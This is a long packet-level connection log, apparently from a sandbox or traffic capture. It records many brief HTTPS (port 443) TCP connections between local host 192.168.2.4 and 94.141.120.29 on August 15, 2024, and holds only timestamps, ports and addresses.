Aug 15, 2024 08:10:38.769105911 CEST	443	50187	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.775361061 CEST	50188	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.775373936 CEST	443	50188	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.775473118 CEST	50188	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.786844969 CEST	50188	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.786854982 CEST	443	50188	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.786873102 CEST	443	50188	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.792721033 CEST	50189	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.792730093 CEST	443	50189	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.792902946 CEST	50189	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.806335926 CEST	50189	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.806345940 CEST	443	50189	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.806375980 CEST	443	50189	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.811676979 CEST	50190	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.811683893 CEST	443	50190	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.811729908 CEST	50190	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.825768948 CEST	50190	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.825778961 CEST	443	50190	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.825799942 CEST	443	50190	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.836046934 CEST	50191	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.836059093 CEST	443	50191	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.836108923 CEST	50191	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.849576950 CEST	50191	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.849587917 CEST	443	50191	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.849611044 CEST	443	50191	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.855262041 CEST	50192	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.855293036 CEST	443	50192	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.855387926 CEST	50192	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.900819063 CEST	50192	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.900835991 CEST	443	50192	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.900867939 CEST	443	50192	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.910465002 CEST	50193	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.910501957 CEST	443	50193	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.910564899 CEST	50193	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.922075033 CEST	50193	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.922087908 CEST	443	50193	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.922107935 CEST	443	50193	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.928585052 CEST	50194	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.928594112 CEST	443	50194	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.928649902 CEST	50194	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.945806026 CEST	50194	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.945820093 CEST	443	50194	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.945841074 CEST	443	50194	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.952502966 CEST	50195	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.952532053 CEST	443	50195	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.952580929 CEST	50195	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.972198009 CEST	50195	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.972209930 CEST	443	50195	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.972234964 CEST	443	50195	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.979157925 CEST	50196	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.979170084 CEST	443	50196	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.979226112 CEST	50196	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.998585939 CEST	50196	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:38.998595953 CEST	443	50196	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:38.998615026 CEST	443	50196	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.006973028 CEST	50197	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.006993055 CEST	443	50197	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.007047892 CEST	50197	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.027007103 CEST	50197	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.027019024 CEST	443	50197	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.027043104 CEST	443	50197	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.031090975 CEST	50198	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.031102896 CEST	443	50198	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.031162977 CEST	50198	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.040658951 CEST	50198	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.040669918 CEST	443	50198	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.040692091 CEST	443	50198	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.044933081 CEST	50199	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.044945002 CEST	443	50199	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.045017004 CEST	50199	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.057267904 CEST	50199	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.057281971 CEST	443	50199	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.057307005 CEST	443	50199	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.061448097 CEST	50200	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.061456919 CEST	443	50200	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.061515093 CEST	50200	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.070664883 CEST	50200	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.070674896 CEST	443	50200	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.070693970 CEST	443	50200	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.074842930 CEST	50201	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.074857950 CEST	443	50201	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.074912071 CEST	50201	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.091521025 CEST	50201	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.091531992 CEST	443	50201	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.091552019 CEST	443	50201	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.095221043 CEST	50202	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.095230103 CEST	443	50202	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.095758915 CEST	50202	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.105464935 CEST	50202	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.105473995 CEST	443	50202	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.105493069 CEST	443	50202	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.112344980 CEST	50203	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.112354994 CEST	443	50203	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.112420082 CEST	50203	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.121207952 CEST	50203	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.121217966 CEST	443	50203	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.121241093 CEST	443	50203	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.125363111 CEST	50204	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.125371933 CEST	443	50204	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.125438929 CEST	50204	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.133500099 CEST	50204	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.133510113 CEST	443	50204	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.133534908 CEST	443	50204	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.137542963 CEST	50205	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.137556076 CEST	443	50205	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.137618065 CEST	50205	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.146478891 CEST	50205	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.146487951 CEST	443	50205	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.146506071 CEST	443	50205	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.151415110 CEST	50206	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.151422024 CEST	443	50206	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.159445047 CEST	50206	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.167412043 CEST	50206	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.167422056 CEST	443	50206	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.167440891 CEST	443	50206	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.179646015 CEST	50207	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.179661989 CEST	443	50207	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.187576056 CEST	50207	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.192365885 CEST	50207	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.192383051 CEST	443	50207	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.192405939 CEST	443	50207	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.197559118 CEST	50208	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.197640896 CEST	443	50208	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.197761059 CEST	50208	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.209157944 CEST	50208	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.209228992 CEST	443	50208	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.209249020 CEST	443	50208	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.216342926 CEST	50209	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.216420889 CEST	443	50209	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.216854095 CEST	50209	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.234435081 CEST	50209	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.234513998 CEST	443	50209	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.234555006 CEST	443	50209	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.242013931 CEST	50210	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.242094994 CEST	443	50210	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.243446112 CEST	50210	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.255119085 CEST	50210	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.255189896 CEST	443	50210	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.255238056 CEST	443	50210	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.259936094 CEST	50211	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.260015011 CEST	443	50211	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.260133028 CEST	50211	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.269028902 CEST	50211	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.269105911 CEST	443	50211	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.269139051 CEST	443	50211	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.275489092 CEST	50212	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.275568962 CEST	443	50212	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.275719881 CEST	50212	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.287684917 CEST	50212	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.287764072 CEST	443	50212	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.287828922 CEST	443	50212	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.292460918 CEST	50213	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.292576075 CEST	443	50213	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.292900085 CEST	50213	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.303489923 CEST	50213	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.303597927 CEST	443	50213	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.303617001 CEST	443	50213	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.308196068 CEST	50214	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.308274984 CEST	443	50214	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.308504105 CEST	50214	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.319463968 CEST	50214	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.319540024 CEST	443	50214	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.319571018 CEST	443	50214	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.327369928 CEST	50215	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.327450037 CEST	443	50215	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.327804089 CEST	50215	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.339540005 CEST	50215	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.339612007 CEST	443	50215	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.339644909 CEST	443	50215	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.343663931 CEST	50216	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.343764067 CEST	443	50216	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.347637892 CEST	50216	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.356523037 CEST	50216	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.356591940 CEST	443	50216	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.356611967 CEST	443	50216	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.363519907 CEST	50217	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.363615990 CEST	443	50217	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.363713980 CEST	50217	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.375475883 CEST	50217	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.375562906 CEST	443	50217	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.375597000 CEST	443	50217	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.379842043 CEST	50218	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.379920006 CEST	443	50218	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.380307913 CEST	50218	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.391778946 CEST	50218	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.391843081 CEST	443	50218	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.391879082 CEST	443	50218	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.396382093 CEST	50219	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.396462917 CEST	443	50219	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.396554947 CEST	50219	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.404531956 CEST	50219	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.404607058 CEST	443	50219	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.404639006 CEST	443	50219	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.410476923 CEST	50220	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.410612106 CEST	443	50220	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.410757065 CEST	50220	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.423453093 CEST	50220	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.423521996 CEST	443	50220	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.423552036 CEST	443	50220	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.431721926 CEST	50221	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.431814909 CEST	443	50221	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.431961060 CEST	50221	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.441509008 CEST	50221	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.441587925 CEST	443	50221	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.441627979 CEST	443	50221	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.447551966 CEST	50222	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.447664976 CEST	443	50222	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.447803020 CEST	50222	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.459713936 CEST	50222	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.459791899 CEST	443	50222	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.459845066 CEST	443	50222	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.468866110 CEST	50223	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.468945980 CEST	443	50223	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.469237089 CEST	50223	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.480365038 CEST	50223	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.480443001 CEST	443	50223	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.480479956 CEST	443	50223	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.485306025 CEST	50224	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.485385895 CEST	443	50224	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.485661030 CEST	50224	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.495119095 CEST	50224	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.495191097 CEST	443	50224	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.495224953 CEST	443	50224	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.499629974 CEST	50225	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.499711037 CEST	443	50225	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.500361919 CEST	50225	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.511145115 CEST	50225	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.511221886 CEST	443	50225	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.511255980 CEST	443	50225	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.515434980 CEST	50226	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.515516043 CEST	443	50226	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.515845060 CEST	50226	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.527419090 CEST	50226	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.527518988 CEST	443	50226	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.527554989 CEST	443	50226	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.532155037 CEST	50227	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.532234907 CEST	443	50227	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.535738945 CEST	50227	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.545514107 CEST	50227	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.545588017 CEST	443	50227	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.545619965 CEST	443	50227	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.553891897 CEST	50228	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.553972006 CEST	443	50228	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.554398060 CEST	50228	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.566307068 CEST	50228	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.566385984 CEST	443	50228	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.566428900 CEST	443	50228	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.578511953 CEST	50229	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.578593016 CEST	443	50229	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.579014063 CEST	50229	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.591495991 CEST	50229	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.591574907 CEST	443	50229	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.591614962 CEST	443	50229	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.603578091 CEST	50230	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.603657007 CEST	443	50230	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.611521959 CEST	50230	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.618879080 CEST	50230	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.618957996 CEST	443	50230	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.618988037 CEST	443	50230	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.623457909 CEST	50231	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.623539925 CEST	443	50231	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.623663902 CEST	50231	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.634504080 CEST	50231	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.634582043 CEST	443	50231	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.634619951 CEST	443	50231	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.638865948 CEST	50232	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.638945103 CEST	443	50232	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.639327049 CEST	50232	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.651494980 CEST	50232	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.651602030 CEST	443	50232	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.651642084 CEST	443	50232	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.655936956 CEST	50233	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.656017065 CEST	443	50233	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.656438112 CEST	50233	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.667455912 CEST	50233	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.667525053 CEST	443	50233	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.667577028 CEST	443	50233	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.672144890 CEST	50234	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.672259092 CEST	443	50234	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.672473907 CEST	50234	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.683624983 CEST	50234	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:39.683728933 CEST	443	50234	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:39.683773994 CEST	443	50234	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.715895891 CEST	50235	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.715981007 CEST	443	50235	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.716084957 CEST	50235	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.739095926 CEST	50235	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.739176035 CEST	443	50235	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.739247084 CEST	443	50235	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.745699883 CEST	50236	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.745779037 CEST	443	50236	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.746077061 CEST	50236	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.755744934 CEST	50236	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.755824089 CEST	443	50236	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.755865097 CEST	443	50236	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.760385036 CEST	50237	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.760467052 CEST	443	50237	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.760565996 CEST	50237	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.769375086 CEST	50237	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.769454002 CEST	443	50237	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.769486904 CEST	443	50237	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.773767948 CEST	50238	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.773859024 CEST	443	50238	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.773961067 CEST	50238	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.782182932 CEST	50238	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.782252073 CEST	443	50238	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.782285929 CEST	443	50238	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.787918091 CEST	50239	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.787998915 CEST	443	50239	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.788100004 CEST	50239	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.797523022 CEST	50239	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.797596931 CEST	443	50239	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.797631025 CEST	443	50239	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.804406881 CEST	50240	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.804444075 CEST	443	50240	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.804513931 CEST	50240	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.826056004 CEST	50240	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.826071024 CEST	443	50240	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.826088905 CEST	443	50240	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.831681967 CEST	50241	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.831722021 CEST	443	50241	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.831805944 CEST	50241	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.842891932 CEST	50241	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.842905998 CEST	443	50241	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.842924118 CEST	443	50241	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.846898079 CEST	50242	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.846904993 CEST	443	50242	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.846963882 CEST	50242	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.854860067 CEST	50242	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.854871988 CEST	443	50242	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.854888916 CEST	443	50242	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.858491898 CEST	50243	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.858501911 CEST	443	50243	94.141.120.29	192.168.2.4
